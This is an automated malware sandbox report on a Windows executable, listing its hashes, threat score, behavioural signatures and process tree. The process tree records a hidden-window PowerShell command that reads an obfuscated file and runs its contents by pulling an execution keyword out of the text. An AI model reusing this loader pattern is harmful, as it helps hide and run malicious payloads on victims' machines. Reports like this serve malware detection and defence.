Analysis

  • max time kernel
    90s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    08/03/2025, 06:02

General

  • Target

    4186a7812c15ec48234e91b4268541455c5d3496807efe3a05afcf94c90284e7.exe

  • Size

    700KB

  • MD5

    ce25a78cb6991d5b684c6259f5bc2a87

  • SHA1

    49cafe104a00b61c9591a0c07f5896e7ce83bc66

  • SHA256

    4186a7812c15ec48234e91b4268541455c5d3496807efe3a05afcf94c90284e7

  • SHA512

    e76af5d142303469a9918887f4565755e9813789a5b71c9f1f02524b1f3a46034550980c9552da0ae51ab3d2b2b7c987b0ef8dcbee37ad5457bcfcbcadc689b8

  • SSDEEP

    12288:qDGKUSd7xLweNT3wamtSkQOwGPLLgmHvfSghvpnJ4JrG/A/cEgAnRtekr2Q:2UeN3qt3pMm3PyJYqJRoQ

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4186a7812c15ec48234e91b4268541455c5d3496807efe3a05afcf94c90284e7.exe
    "C:\Users\Admin\AppData\Local\Temp\4186a7812c15ec48234e91b4268541455c5d3496807efe3a05afcf94c90284e7.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2540
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Lysters=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Helnode\mylohyoideus\opholdstidens\Pericenter.cya';$Kitchens=$Lysters.SubString(54802,3);.$Kitchens($Lysters)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2356

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2356-11-0x0000000073B01000-0x0000000073B02000-memory.dmp

    Filesize

    4KB

  • memory/2356-14-0x0000000073B00000-0x00000000740AB000-memory.dmp

    Filesize

    5.7MB

  • memory/2356-13-0x0000000073B00000-0x00000000740AB000-memory.dmp

    Filesize

    5.7MB

  • memory/2356-12-0x0000000073B00000-0x00000000740AB000-memory.dmp

    Filesize

    5.7MB

  • memory/2356-15-0x0000000073B00000-0x00000000740AB000-memory.dmp

    Filesize

    5.7MB